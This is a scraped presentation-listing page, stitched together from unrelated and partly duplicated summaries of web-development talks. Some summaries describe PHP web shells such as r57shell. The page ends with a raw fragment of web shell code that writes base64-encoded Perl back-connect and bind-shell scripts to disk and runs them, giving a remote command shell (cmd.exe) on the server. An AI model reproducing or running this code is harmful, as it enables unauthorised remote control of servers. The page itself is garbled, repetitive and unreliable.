The document discusses PHP code for a file manager shell that provides various system operations like file management, command execution, and server information gathering. It includes functions for file uploads, downloads, directory listings, file editing/deletion, and more. The code implements input sanitization, error handling, and uses sessions to maintain state across requests.
The document contains code snippets in PHP for working with categories and menus in Magento. It includes code to get store categories, loop through them to output the names and IDs, and generate URLs to link to the category pages. There are also code comments related to copyright and licensing for Magento.
Why Hacking WordPress Search Isn't Some Big Scary ThingChris Reynolds
Developers can be a stubborn lot. We like to focus on the things we know really well, and things we don’t deal with as often can be seen as “hard”. Search is one of those things that gets written off a lot, few devs I know will deal with it (voluntarily), and almost everyone will tell you “WordPress search sucks.” In this presentation you will learn that not only do you know more about how search works than you thought you did, but maybe give you a better understanding of how WordPress works as a whole, as well as showing you some cool tricks that you can do with WordPress search.
This document discusses how jQuery can simplify JavaScript programming in Rails applications. It begins by noting that JavaScript can be difficult due to its dynamic nature, and that jQuery provides useful abstractions. It then covers key jQuery concepts like selector and chaining methods, DOM manipulation, events, effects, and Ajax functionality. Specific jQuery methods and usages are demonstrated throughout for tasks like selecting elements, inserting and removing content, handling events, and implementing Ajax pagination. The document argues that jQuery can drastically simplify DOM interaction, animation, and Ajax calls in Rails to make JavaScript programming more enjoyable.
The document discusses how to use transients in WordPress to temporarily store cached data in the database. It describes the functions set_transient(), get_transient(), and delete_transient() which allow storing, retrieving, and deleting transient data by a given name and expiration time. Examples are provided to store query results and user search results as transients to improve performance.
Designing Opeation Oriented Web Applications / YAPC::Asia Tokyo 2011Masahiro Nagano
The document describes using Log::Minimal to log messages with timestamps, severity levels, and stack traces. Log::Minimal provides functions like debugf(), infof(), warnf() that log messages, and configuration options like AUTODUMP and PRINT to customize the output format. It can be used to log messages from multi-threaded or distributed applications.
atrium_username is a Drupal feature for managing user name display:
* a lightweight alternative to realname module;
* "works" before theme layer
* uses the node title of the user profile
Backbone.js is a JavaScript framework that aims to solve issues with messy JavaScript code by implementing an MVC pattern and object-oriented principles, providing structure through core concepts like Models for data storage, Collections for grouping Models, and Views for rendering display logic, as well as a Router for navigation. It is lightweight at only 6kb and supports RESTful JSON APIs and event-driven programming.
The document contains code snippets in PHP for working with categories and menus in Magento. It includes code to get store categories, loop through them to output the names and IDs, and generate URLs to link to the category pages. There are also code comments related to copyright and licensing for Magento.
Why Hacking WordPress Search Isn't Some Big Scary ThingChris Reynolds
Developers can be a stubborn lot. We like to focus on the things we know really well, and things we don’t deal with as often can be seen as “hard”. Search is one of those things that gets written off a lot, few devs I know will deal with it (voluntarily), and almost everyone will tell you “WordPress search sucks.” In this presentation you will learn that not only do you know more about how search works than you thought you did, but maybe give you a better understanding of how WordPress works as a whole, as well as showing you some cool tricks that you can do with WordPress search.
This document discusses how jQuery can simplify JavaScript programming in Rails applications. It begins by noting that JavaScript can be difficult due to its dynamic nature, and that jQuery provides useful abstractions. It then covers key jQuery concepts like selector and chaining methods, DOM manipulation, events, effects, and Ajax functionality. Specific jQuery methods and usages are demonstrated throughout for tasks like selecting elements, inserting and removing content, handling events, and implementing Ajax pagination. The document argues that jQuery can drastically simplify DOM interaction, animation, and Ajax calls in Rails to make JavaScript programming more enjoyable.
The document discusses how to use transients in WordPress to temporarily store cached data in the database. It describes the functions set_transient(), get_transient(), and delete_transient() which allow storing, retrieving, and deleting transient data by a given name and expiration time. Examples are provided to store query results and user search results as transients to improve performance.
Designing Opeation Oriented Web Applications / YAPC::Asia Tokyo 2011Masahiro Nagano
The document describes using Log::Minimal to log messages with timestamps, severity levels, and stack traces. Log::Minimal provides functions like debugf(), infof(), warnf() that log messages, and configuration options like AUTODUMP and PRINT to customize the output format. It can be used to log messages from multi-threaded or distributed applications.
atrium_username is a Drupal feature for managing user name display:
* a lightweight alternative to realname module;
* "works" before theme layer
* uses the node title of the user profile
Backbone.js is a JavaScript framework that aims to solve issues with messy JavaScript code by implementing an MVC pattern and object-oriented principles, providing structure through core concepts like Models for data storage, Collections for grouping Models, and Views for rendering display logic, as well as a Router for navigation. It is lightweight at only 6kb and supports RESTful JSON APIs and event-driven programming.
Simple Ways To Be A Better Programmer (OSCON 2007)Michael Schwern
"Simple Ways To Be A Better Programmer' as presented at OSCON 2007 by Michael G Schwern.
The audio is still out of sync, working on it. Downloading will be available once the sync is done.
The document discusses the capabilities of HTML5 for building offline applications. It mentions several HTML5 features that enable offline functionality, including application cache, manifest files, and offline events. Application cache allows caching assets defined in a manifest file so the application can work offline. The offline event fires when the browser loses internet connectivity, informing the application it is now offline.
Юрий Буянов «Squeryl — ORM с человеческим лицом»e-Legion
This document provides examples of using Squeryl, a type-safe Scala ORM. It demonstrates how to perform common ORM tasks like queries, updates, deletes and relationships in a type-safe way using Squeryl's SQL-based DSL. Key features highlighted include composite queries, nested selects, pagination, grouping, joins, stateless and stateful relationships. The document also briefly mentions Squeryl's compile-time optimizations and handling of optional parameters. Overall, the document serves as a tutorial introducing the basics of Squeryl and its capabilities as a type-safe Scala ORM.
PhoneGap: Local Storage
This presentation has been developed in the context of the Mobile Applications Development course, DISIM, University of L'Aquila (Italy), Spring 2013.
http://www.ivanomalavolta.com
This document discusses caching templates in Template Toolkit to improve performance. It describes how to profile templates to identify optimization opportunities. Implementing caching reduced the total request processing time by 4.9 times and accelerated template rendering by 20 times. The Template::Context::Cacheable module provides caching capabilities and is available on GitHub.
Joan Miro was a Spanish painter known for his unique abstract style. Some key facts about him are that he was born in Barcelona in 1893, developed a signature abstract style using vivid colors and biomorphic shapes, and was a leading figure in the surrealist movement. He produced a prolific body of work until his death in 1983.
The document is a presentation on Web Components. It introduces Web Components as a standardized set of browser APIs that allow defining custom HTML elements. It provides an example of creating a tooltip using Web Components. It then discusses benefits like maintainability, reusability and encapsulation. The presentation compares Web Components to frameworks like React and Vue, noting they are not directly comparable. It demonstrates using Web Components to build interactive tabs. Finally, it discusses key Web Component APIs like shadow DOM, custom elements and HTML templates.
- Propel is an ORM (object-relational mapper) for PHP that was started in 2005 and is based on concepts from Apache Torque.
- It uses code generation from XML schemas to quickly map database schemas to PHP classes.
- Propel supports various database backends including MySQL, PostgreSQL, SQLite, MSSQL, and Oracle. It uses inheritance mapping strategies like single table, class table, and concrete table inheritance.
CRO is supposed to be really easy. Everyone can set up an A/B-test in the WYSIWYG editors, the testing tool does all the difficult computations for you and it will tell if you have found a winner. It’s child’s play, right? No, you’re wrong! WYSIWYG editors are very error prone (especially with different browsers) and in order to really analyse and interpret A/B-test results correctly you need a basic understanding of statistics.
This presentation will help you understand:
-The importance of Test Power
-How to correctly set up an A/B-test
-How to analyse test results yourself
-The difference between Frequentist and Bayesian statistics
-How to decide to implement a variation
This document provides an overview of using Windows Azure storage and SQL Azure with PHP. It discusses storage concepts like blobs, tables, queues and drives. It also covers the Windows Azure SDK for PHP and how to interact with storage services from PHP code. Finally, it briefly discusses SQL Azure and migrating data to the cloud database.
The document provides an overview of the Drupal 8 database API. It discusses concepts like database connections, configuration, and query types (static, dynamic, insert, update, delete). It explains how to perform queries, work with result sets, add conditions/tags, and use transactions. Key points are that the API is built on PDO, drivers are required for each database, and dynamic queries should be used for operations like insert/update while static can be used for select.
This PHP document contains code for managing video data in multiple languages. It starts sessions, includes configuration files, and instantiates classes for user login, menus, and video data. If a form is submitted, it validates the fields, checks for errors, and either inserts or updates the video and language data in the database. It handles file uploads and retrieves/displays data for editing. The core functions validate data, insert/update records, and retrieve results for display in the form.
One of the most time consuming tasks as a red teamer is diving into filesystems and shares, attempting to identify any potentially sensitive information. Genneraly users store credentials and other sensitive information in local filesystems and this talk has the purpose of explaining how to use the carnivorall as a means to speed up the task of searching important files using several vectors. I will present some proof of concepts, comparisons between tools and my recent success cases in red teaming engagements."
The document describes how to connect a PHP script to a MySQL database and perform CRUD (create, read, update, delete) operations. It explains how to connect to the database, create tables, insert, update, delete and select data. Code examples are provided to create PHP files that connect to the database and perform each operation through a web form interface. The output displays the results of running the PHP scripts to interact with the database.
Temporary Cache Assistance (Transients API): WordCamp Birmingham 2014Cliff Seal
WordPress has a few built-in ways to cache data that enable rapid development. Understanding your options and how to use them properly in your context is crucial to a performant and scalable site. The Transients API provides a powerful and easy way to store data with an expiration, and it comes with a few under-the-hood perks as well.
Join me in looking at the benefits you can gain from understanding and implementing “transients”. When we’re done, you’ll know what this API is, when it should be used, how to use it, and how to scale it. I’ll give real, useful code examples that you can implement immediately—without boring you to death. You’ll be able to do anything from caching data from a external API (like recent tweets) to storing a large, complex query.
We’ll also cover some of the more obscure aspects of this method, like:
-Object caching/Memcached
-Autoloading
-Race Conditions
-Expired transient cleanup
-Options table bloat
Do yourself and your visitors a favor by utilizing the Transients API. And, as you’ll see in this session, knowing how to use it will make all WordPress’s caching techniques easy to implement.
Introduction à CoffeeScript pour ParisRB jhchabran
This document provides an overview of CoffeeScript, highlighting some of its key features and benefits compared to JavaScript. It discusses CoffeeScript's lighter syntax, object literals, list comprehensions, and implicit returns. It also addresses some criticisms of CoffeeScript, such as concerns about it being "just JavaScript" or a "toy language." Overall, the document promotes CoffeeScript as a cleaner syntax for writing JavaScript code.
The document describes the Backbone.js framework and how it can be used to build single page applications. It explains the core components of Backbone - Models, Collections, Views and Routers. It provides examples of initializing a Backbone application, defining models and collections, creating views to render data, and setting up routes and navigation. It also covers events, templating, and best practices for structuring Backbone code into separate JavaScript files for models, collections, views etc.
Nesta sessão é objetivo mostrar as novas funcionalidade do HTML5, bem como a integração com tecnologias existentes.
Nesta sessão vão ser abordadas as diferenças existentes entre o HTML 4 e o HTML 5, vai ser possível perceber quais são as novas funcionalidades, novos controlos, integração com tecnologias existentes (CSS e Javascript). Vamos também discutir como fazer offline, ligações ao servidor para enviar ou receber informação e como utilizar o Canvas e o SVG para desenhar em HTML.
Comunidade NetPonto, a comunidade .NET em Portugal!
http://netponto.org
The document is code for an R57 shell remote administration tool. It includes options to set the language, authentication, and login/password. Functions are defined for compressing files, sending email attachments, and connecting to databases like MySQL, MSSQL, PostgreSQL and Oracle.
This document contains PHP code for a web shell that provides various functions like file management, command execution, database operations etc. It starts a session, sets time limit and error reporting to 0. It then strips slashes from GET/POST/COOKIE variables. The rest of the code handles different requests like file upload, download, rename, delete etc and displays menus to call these functions. It also shows server information and has about page.
This PHP script is a remote shell that allows execution of system commands and file operations. It includes options to set the language, enable/disable authentication, and specify login credentials. The script sets various PHP configurations, handles authentication, and provides a basic interface for directory listing, file browsing, execution of commands, and downloading/uploading of files.
Simple Ways To Be A Better Programmer (OSCON 2007)Michael Schwern
"Simple Ways To Be A Better Programmer' as presented at OSCON 2007 by Michael G Schwern.
The audio is still out of sync, working on it. Downloading will be available once the sync is done.
The document discusses the capabilities of HTML5 for building offline applications. It mentions several HTML5 features that enable offline functionality, including application cache, manifest files, and offline events. Application cache allows caching assets defined in a manifest file so the application can work offline. The offline event fires when the browser loses internet connectivity, informing the application it is now offline.
Юрий Буянов «Squeryl — ORM с человеческим лицом»e-Legion
This document provides examples of using Squeryl, a type-safe Scala ORM. It demonstrates how to perform common ORM tasks like queries, updates, deletes and relationships in a type-safe way using Squeryl's SQL-based DSL. Key features highlighted include composite queries, nested selects, pagination, grouping, joins, stateless and stateful relationships. The document also briefly mentions Squeryl's compile-time optimizations and handling of optional parameters. Overall, the document serves as a tutorial introducing the basics of Squeryl and its capabilities as a type-safe Scala ORM.
PhoneGap: Local Storage
This presentation has been developed in the context of the Mobile Applications Development course, DISIM, University of L'Aquila (Italy), Spring 2013.
http://www.ivanomalavolta.com
This document discusses caching templates in Template Toolkit to improve performance. It describes how to profile templates to identify optimization opportunities. Implementing caching reduced the total request processing time by 4.9 times and accelerated template rendering by 20 times. The Template::Context::Cacheable module provides caching capabilities and is available on GitHub.
Joan Miro was a Spanish painter known for his unique abstract style. Some key facts about him are that he was born in Barcelona in 1893, developed a signature abstract style using vivid colors and biomorphic shapes, and was a leading figure in the surrealist movement. He produced a prolific body of work until his death in 1983.
The document is a presentation on Web Components. It introduces Web Components as a standardized set of browser APIs that allow defining custom HTML elements. It provides an example of creating a tooltip using Web Components. It then discusses benefits like maintainability, reusability and encapsulation. The presentation compares Web Components to frameworks like React and Vue, noting they are not directly comparable. It demonstrates using Web Components to build interactive tabs. Finally, it discusses key Web Component APIs like shadow DOM, custom elements and HTML templates.
- Propel is an ORM (object-relational mapper) for PHP that was started in 2005 and is based on concepts from Apache Torque.
- It uses code generation from XML schemas to quickly map database schemas to PHP classes.
- Propel supports various database backends including MySQL, PostgreSQL, SQLite, MSSQL, and Oracle. It uses inheritance mapping strategies like single table, class table, and concrete table inheritance.
CRO is supposed to be really easy. Everyone can set up an A/B-test in the WYSIWYG editors, the testing tool does all the difficult computations for you and it will tell if you have found a winner. It’s child’s play, right? No, you’re wrong! WYSIWYG editors are very error prone (especially with different browsers) and in order to really analyse and interpret A/B-test results correctly you need a basic understanding of statistics.
This presentation will help you understand:
-The importance of Test Power
-How to correctly set up an A/B-test
-How to analyse test results yourself
-The difference between Frequentist and Bayesian statistics
-How to decide to implement a variation
This document provides an overview of using Windows Azure storage and SQL Azure with PHP. It discusses storage concepts like blobs, tables, queues and drives. It also covers the Windows Azure SDK for PHP and how to interact with storage services from PHP code. Finally, it briefly discusses SQL Azure and migrating data to the cloud database.
The document provides an overview of the Drupal 8 database API. It discusses concepts like database connections, configuration, and query types (static, dynamic, insert, update, delete). It explains how to perform queries, work with result sets, add conditions/tags, and use transactions. Key points are that the API is built on PDO, drivers are required for each database, and dynamic queries should be used for operations like insert/update while static can be used for select.
This PHP document contains code for managing video data in multiple languages. It starts sessions, includes configuration files, and instantiates classes for user login, menus, and video data. If a form is submitted, it validates the fields, checks for errors, and either inserts or updates the video and language data in the database. It handles file uploads and retrieves/displays data for editing. The core functions validate data, insert/update records, and retrieve results for display in the form.
One of the most time consuming tasks as a red teamer is diving into filesystems and shares, attempting to identify any potentially sensitive information. Genneraly users store credentials and other sensitive information in local filesystems and this talk has the purpose of explaining how to use the carnivorall as a means to speed up the task of searching important files using several vectors. I will present some proof of concepts, comparisons between tools and my recent success cases in red teaming engagements."
The document describes how to connect a PHP script to a MySQL database and perform CRUD (create, read, update, delete) operations. It explains how to connect to the database, create tables, insert, update, delete and select data. Code examples are provided to create PHP files that connect to the database and perform each operation through a web form interface. The output displays the results of running the PHP scripts to interact with the database.
Temporary Cache Assistance (Transients API): WordCamp Birmingham 2014Cliff Seal
WordPress has a few built-in ways to cache data that enable rapid development. Understanding your options and how to use them properly in your context is crucial to a performant and scalable site. The Transients API provides a powerful and easy way to store data with an expiration, and it comes with a few under-the-hood perks as well.
Join me in looking at the benefits you can gain from understanding and implementing “transients”. When we’re done, you’ll know what this API is, when it should be used, how to use it, and how to scale it. I’ll give real, useful code examples that you can implement immediately—without boring you to death. You’ll be able to do anything from caching data from a external API (like recent tweets) to storing a large, complex query.
We’ll also cover some of the more obscure aspects of this method, like:
-Object caching/Memcached
-Autoloading
-Race Conditions
-Expired transient cleanup
-Options table bloat
Do yourself and your visitors a favor by utilizing the Transients API. And, as you’ll see in this session, knowing how to use it will make all WordPress’s caching techniques easy to implement.
Introduction à CoffeeScript pour ParisRB jhchabran
This document provides an overview of CoffeeScript, highlighting some of its key features and benefits compared to JavaScript. It discusses CoffeeScript's lighter syntax, object literals, list comprehensions, and implicit returns. It also addresses some criticisms of CoffeeScript, such as concerns about it being "just JavaScript" or a "toy language." Overall, the document promotes CoffeeScript as a cleaner syntax for writing JavaScript code.
The document describes the Backbone.js framework and how it can be used to build single page applications. It explains the core components of Backbone - Models, Collections, Views and Routers. It provides examples of initializing a Backbone application, defining models and collections, creating views to render data, and setting up routes and navigation. It also covers events, templating, and best practices for structuring Backbone code into separate JavaScript files for models, collections, views etc.
Nesta sessão é objetivo mostrar as novas funcionalidade do HTML5, bem como a integração com tecnologias existentes.
Nesta sessão vão ser abordadas as diferenças existentes entre o HTML 4 e o HTML 5, vai ser possível perceber quais são as novas funcionalidades, novos controlos, integração com tecnologias existentes (CSS e Javascript). Vamos também discutir como fazer offline, ligações ao servidor para enviar ou receber informação e como utilizar o Canvas e o SVG para desenhar em HTML.
Comunidade NetPonto, a comunidade .NET em Portugal!
http://netponto.org
The document is code for an R57 shell remote administration tool. It includes options to set the language, authentication, and login/password. Functions are defined for compressing files, sending email attachments, and connecting to databases like MySQL, MSSQL, PostgreSQL and Oracle.
This document contains PHP code for a web shell that provides various functions like file management, command execution, database operations etc. It starts a session, sets time limit and error reporting to 0. It then strips slashes from GET/POST/COOKIE variables. The rest of the code handles different requests like file upload, download, rename, delete etc and displays menus to call these functions. It also shows server information and has about page.
This PHP script is a remote shell that allows execution of system commands and file operations. It includes options to set the language, enable/disable authentication, and specify login credentials. The script sets various PHP configurations, handles authentication, and provides a basic interface for directory listing, file browsing, execution of commands, and downloading/uploading of files.
This document provides the code for the SlideShare homepage. It includes metadata, scripts, stylesheets and other code needed to display the site navigation, headers, footers and content on the homepage. Key sections include the site navigation bar code, user login/profile dropdown code, and code for the main content area where uploads and other site features would be displayed.
The document contains PHP code for a website that displays and searches product information from a database. It includes:
1. Code to connect to a MySQL database and select the "banhang" database.
2. Index code that includes header, sidebar, content, and footer files. Content displays products and handles search/detail page links.
3. Product display code that queries the database and loops through results to show images, prices and links.
4. Category, search, and detail inclusion files that query the database to populate dropdowns, search results, and detailed product pages.
Léon Brocard will give a two minute introduction to each of ten less known but useful Perl modules he has created and distributed on CPAN. He begins by introducing App-Cache, a module for easy application-level caching, and Crypt::Skip32::Base32Crockford, which allows encoding database record IDs in URLs using a Base32 encoding.
The document contains PHP code for a remote shell script called r57shell. It defines options like language, authentication, login/password. It also contains code for file compression/zipping, adding files to a zip archive, and outputting the final zip file. The script allows remotely executing system commands on the server.
This document provides suggestions for simplifying the WordPress dashboard and administration interface. It recommends removing unnecessary widgets from the dashboard, using code to minimize dashboard menus and boxes, and adding shortcodes or functions to more easily display child pages and handle 404 errors. The document also gives examples of removing meta boxes, including notifications for visitors, and linking to a "report a problem" form to make the site easier to use.
The document shows code for parsing and handling XML using different Perl modules. It demonstrates parsing XML strings into DOM documents using XML::LibXML and XML::Liberal, handling XML encoding such as entities and namespaces, and extracting elements and contents from the parsed DOM documents.
This document summarizes a presentation about hacking Ansible to make it more customizable. It discusses how Ansible's plugin system allows it to be extended through modules, filters, lookups, callbacks and caches. Examples are provided of extending Ansible's core functionality by modifying files in the lib directory and writing custom plugins. The presentation also outlines how Ansible's object model works and provides an overview of its growth in modules and plugins over time.
The PHP code is for a shell called r57shell. It checks for bots, sets variables and configuration options, defines arrays of useful/dangerous commands and files, handles authentication, and generates the HTML interface for the shell.
This document provides an overview of routing changes in Rails 3, including:
- Matching routes using "match" instead of "map.connect" and optional segments.
- Namespaces, scopes, and constraints for organizing and restricting routes.
- Default RESTful routes and generating resources.
- Redirects can now be specified as Rack apps or Procs.
- Mounting other Rack endpoints at specific paths.
Come to this talk prepared to learn about the Doctrine PHP open source project. The Doctrine project has been around for over a decade and has evolved from database abstraction software that dates back to the PEAR days. The packages provided by the Doctrine project have been downloaded almost 500 million times from packagist. In this talk we will take you through how to get started with Doctrine and how to take advantage of some of the more advanced features.
This document is the HTML code for the header section of a website. It includes code for login/account information, search bar, navigation links, and scripts for tracking user analytics and ads. The header code brings together elements for user personalization, site search and navigation, and revenue generation.
This document provides code for building a boilerplate widget in WordPress. It includes a class called boilerplate_widget that extends the WP_Widget class. The class contains functions for constructing the widget, generating the form, updating settings, and displaying the widget. The code also includes an action to register the widget so that it can be added to site sidebars.
Keeping it Small: Getting to know the Slim Micro FrameworkJeremy Kendall
This document provides an overview of the Slim micro web framework. It discusses that Slim aims for concise and clear code, addresses common use cases well, and is inspired by Sinatra. It provides examples of basic routing and middleware usage in Slim. Key aspects covered include routing, configuration, logging, views, and hooks/middleware.
This document discusses using PHP to build rich internet applications (RIAs). It provides examples of using PHP to return XML or JSON data to an RIA client, and using AMFPHP to transfer PHP objects directly to ActionScript clients. It recommends building PHP apps as services that can be consumed by any front-end technology, including Ajax, XAML and Flex, in order to simplify the PHP code.
- The chemical engineering ideal stage calculator can read and save data to an ASCII file, add points by mouse click or input coordinates, and plot equations as data on the graph.
- It has a graphical user interface with menus to load, clear, and save data, add distillation steps, and view help.
- The user can add vapor and liquid data points on the graph by clicking, input distillation parameters to iterate the calculation, and plot equation curves to represent vapor-liquid equilibrium lines.
Climate Impact of Software Testing at Nordic Testing DaysKari Kakkonen
My slides at Nordic Testing Days 6.6.2024
Climate impact / sustainability of software testing discussed on the talk. ICT and testing must carry their part of global responsibility to help with the climat warming. We can minimize the carbon footprint but we can also have a carbon handprint, a positive impact on the climate. Quality characteristics can be added with sustainability, and then measured continuously. Test environments can be used less, and in smaller scale and on demand. Test techniques can be used in optimizing or minimizing number of tests. Test automation can be used to speed up testing.
Removing Uninteresting Bytes in Software FuzzingAftab Hussain
Imagine a world where software fuzzing, the process of mutating bytes in test seeds to uncover hidden and erroneous program behaviors, becomes faster and more effective. A lot depends on the initial seeds, which can significantly dictate the trajectory of a fuzzing campaign, particularly in terms of how long it takes to uncover interesting behaviour in your code. We introduce DIAR, a technique designed to speedup fuzzing campaigns by pinpointing and eliminating those uninteresting bytes in the seeds. Picture this: instead of wasting valuable resources on meaningless mutations in large, bloated seeds, DIAR removes the unnecessary bytes, streamlining the entire process.
In this work, we equipped AFL, a popular fuzzer, with DIAR and examined two critical Linux libraries -- Libxml's xmllint, a tool for parsing xml documents, and Binutil's readelf, an essential debugging and security analysis command-line tool used to display detailed information about ELF (Executable and Linkable Format). Our preliminary results show that AFL+DIAR does not only discover new paths more quickly but also achieves higher coverage overall. This work thus showcases how starting with lean and optimized seeds can lead to faster, more comprehensive fuzzing campaigns -- and DIAR helps you find such seeds.
- These are slides of the talk given at IEEE International Conference on Software Testing Verification and Validation Workshop, ICSTW 2022.
Maruthi Prithivirajan, Head of ASEAN & IN Solution Architecture, Neo4j
Get an inside look at the latest Neo4j innovations that enable relationship-driven intelligence at scale. Learn more about the newest cloud integrations and product enhancements that make Neo4j an essential choice for developers building apps with interconnected data and generative AI.
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfMalak Abu Hammad
Discover how MongoDB Atlas and vector search technology can revolutionize your application's search capabilities. This comprehensive presentation covers:
* What is Vector Search?
* Importance and benefits of vector search
* Practical use cases across various industries
* Step-by-step implementation guide
* Live demos with code snippets
* Enhancing LLM capabilities with vector search
* Best practices and optimization strategies
Perfect for developers, AI enthusiasts, and tech leaders. Learn how to leverage MongoDB Atlas to deliver highly relevant, context-aware search results, transforming your data retrieval process. Stay ahead in tech innovation and maximize the potential of your applications.
#MongoDB #VectorSearch #AI #SemanticSearch #TechInnovation #DataScience #LLM #MachineLearning #SearchTechnology
Introducing Milvus Lite: Easy-to-Install, Easy-to-Use vector database for you...Zilliz
Join us to introduce Milvus Lite, a vector database that can run on notebooks and laptops, share the same API with Milvus, and integrate with every popular GenAI framework. This webinar is perfect for developers seeking easy-to-use, well-integrated vector databases for their GenAI apps.
GraphSummit Singapore | The Art of the Possible with Graph - Q2 2024Neo4j
Neha Bajwa, Vice President of Product Marketing, Neo4j
Join us as we explore breakthrough innovations enabled by interconnected data and AI. Discover firsthand how organizations use relationships in data to uncover contextual insights and solve our most pressing challenges – from optimizing supply chains, detecting fraud, and improving customer experiences to accelerating drug discoveries.
Pushing the limits of ePRTC: 100ns holdover for 100 daysAdtran
At WSTS 2024, Alon Stern explored the topic of parametric holdover and explained how recent research findings can be implemented in real-world PNT networks to achieve 100 nanoseconds of accuracy for up to 100 days.
20 Comprehensive Checklist of Designing and Developing a WebsitePixlogix Infotech
Dive into the world of Website Designing and Developing with Pixlogix! Looking to create a stunning online presence? Look no further! Our comprehensive checklist covers everything you need to know to craft a website that stands out. From user-friendly design to seamless functionality, we've got you covered. Don't miss out on this invaluable resource! Check out our checklist now at Pixlogix and start your journey towards a captivating online presence today.
Sudheer Mechineni, Head of Application Frameworks, Standard Chartered Bank
Discover how Standard Chartered Bank harnessed the power of Neo4j to transform complex data access challenges into a dynamic, scalable graph database solution. This keynote will cover their journey from initial adoption to deploying a fully automated, enterprise-grade causal cluster, highlighting key strategies for modelling organisational changes and ensuring robust disaster recovery. Learn how these innovations have not only enhanced Standard Chartered Bank’s data infrastructure but also positioned them as pioneers in the banking sector’s adoption of graph technology.
Dr. Sean Tan, Head of Data Science, Changi Airport Group
Discover how Changi Airport Group (CAG) leverages graph technologies and generative AI to revolutionize their search capabilities. This session delves into the unique search needs of CAG’s diverse passengers and customers, showcasing how graph data structures enhance the accuracy and relevance of AI-generated search results, mitigating the risk of “hallucinations” and improving the overall customer journey.
In his public lecture, Christian Timmerer provides insights into the fascinating history of video streaming, starting from its humble beginnings before YouTube to the groundbreaking technologies that now dominate platforms like Netflix and ORF ON. Timmerer also presents provocative contributions of his own that have significantly influenced the industry. He concludes by looking at future challenges and invites the audience to join in a discussion.
Essentials of Automations: The Art of Triggers and Actions in FMESafe Software
In this second installment of our Essentials of Automations webinar series, we’ll explore the landscape of triggers and actions, guiding you through the nuances of authoring and adapting workspaces for seamless automations. Gain an understanding of the full spectrum of triggers and actions available in FME, empowering you to enhance your workspaces for efficient automation.
We’ll kick things off by showcasing the most commonly used event-based triggers, introducing you to various automation workflows like manual triggers, schedules, directory watchers, and more. Plus, see how these elements play out in real scenarios.
Whether you’re tweaking your current setup or building from the ground up, this session will arm you with the tools and insights needed to transform your FME usage into a powerhouse of productivity. Join us to discover effective strategies that simplify complex processes, enhancing your productivity and transforming your data management practices with FME. Let’s turn complexity into clarity and make your workspaces work wonders!
“An Outlook of the Ongoing and Future Relationship between Blockchain Technologies and Process-aware Information Systems.” Invited talk at the joint workshop on Blockchain for Information Systems (BC4IS) and Blockchain for Trusted Data Sharing (B4TDS), co-located with with the 36th International Conference on Advanced Information Systems Engineering (CAiSE), 3 June 2024, Limassol, Cyprus.
Enchancing adoption of Open Source Libraries. A case study on Albumentations.AIVladimir Iglovikov, Ph.D.
Presented by Vladimir Iglovikov:
- https://www.linkedin.com/in/iglovikov/
- https://x.com/viglovikov
- https://www.instagram.com/ternaus/
This presentation delves into the journey of Albumentations.ai, a highly successful open-source library for data augmentation.
Created out of a necessity for superior performance in Kaggle competitions, Albumentations has grown to become a widely used tool among data scientists and machine learning practitioners.
This case study covers various aspects, including:
People: The contributors and community that have supported Albumentations.
Metrics: The success indicators such as downloads, daily active users, GitHub stars, and financial contributions.
Challenges: The hurdles in monetizing open-source projects and measuring user engagement.
Development Practices: Best practices for creating, maintaining, and scaling open-source libraries, including code hygiene, CI/CD, and fast iteration.
Community Building: Strategies for making adoption easy, iterating quickly, and fostering a vibrant, engaged community.
Marketing: Both online and offline marketing tactics, focusing on real, impactful interactions and collaborations.
Mental Health: Maintaining balance and not feeling pressured by user demands.
Key insights include the importance of automation, making the adoption process seamless, and leveraging offline interactions for marketing. The presentation also emphasizes the need for continuous small improvements and building a friendly, inclusive community that contributes to the project's growth.
Vladimir Iglovikov brings his extensive experience as a Kaggle Grandmaster, ex-Staff ML Engineer at Lyft, sharing valuable lessons and practical advice for anyone looking to enhance the adoption of their open-source projects.
Explore more about Albumentations and join the community at:
GitHub: https://github.com/albumentations-team/albumentations
Website: https://albumentations.ai/
LinkedIn: https://www.linkedin.com/company/100504475
Twitter: https://x.com/albumentations
Cosa hanno in comune un mattoncino Lego e la backdoor XZ?Speck&Tech
ABSTRACT: A prima vista, un mattoncino Lego e la backdoor XZ potrebbero avere in comune il fatto di essere entrambi blocchi di costruzione, o dipendenze di progetti creativi e software. La realtà è che un mattoncino Lego e il caso della backdoor XZ hanno molto di più di tutto ciò in comune.
Partecipate alla presentazione per immergervi in una storia di interoperabilità, standard e formati aperti, per poi discutere del ruolo importante che i contributori hanno in una comunità open source sostenibile.
BIO: Sostenitrice del software libero e dei formati standard e aperti. È stata un membro attivo dei progetti Fedora e openSUSE e ha co-fondato l'Associazione LibreItalia dove è stata coinvolta in diversi eventi, migrazioni e formazione relativi a LibreOffice. In precedenza ha lavorato a migrazioni e corsi di formazione su LibreOffice per diverse amministrazioni pubbliche e privati. Da gennaio 2020 lavora in SUSE come Software Release Engineer per Uyuni e SUSE Manager e quando non segue la sua passione per i computer e per Geeko coltiva la sua curiosità per l'astronomia (da cui deriva il suo nickname deneb_alpha).
12. fwrite($opbc,base64_decode($bcperl));
fclose($opbc);
system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back
Connect Disable_functions Or Safe Mode");
}
function wbp($wb){
$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3
Rj
cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
$opwb=fopen("wbp.pl","w");
fwrite($opwb,base64_decode($wbp));
fclose($opwb);
echo getcwd();
system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect
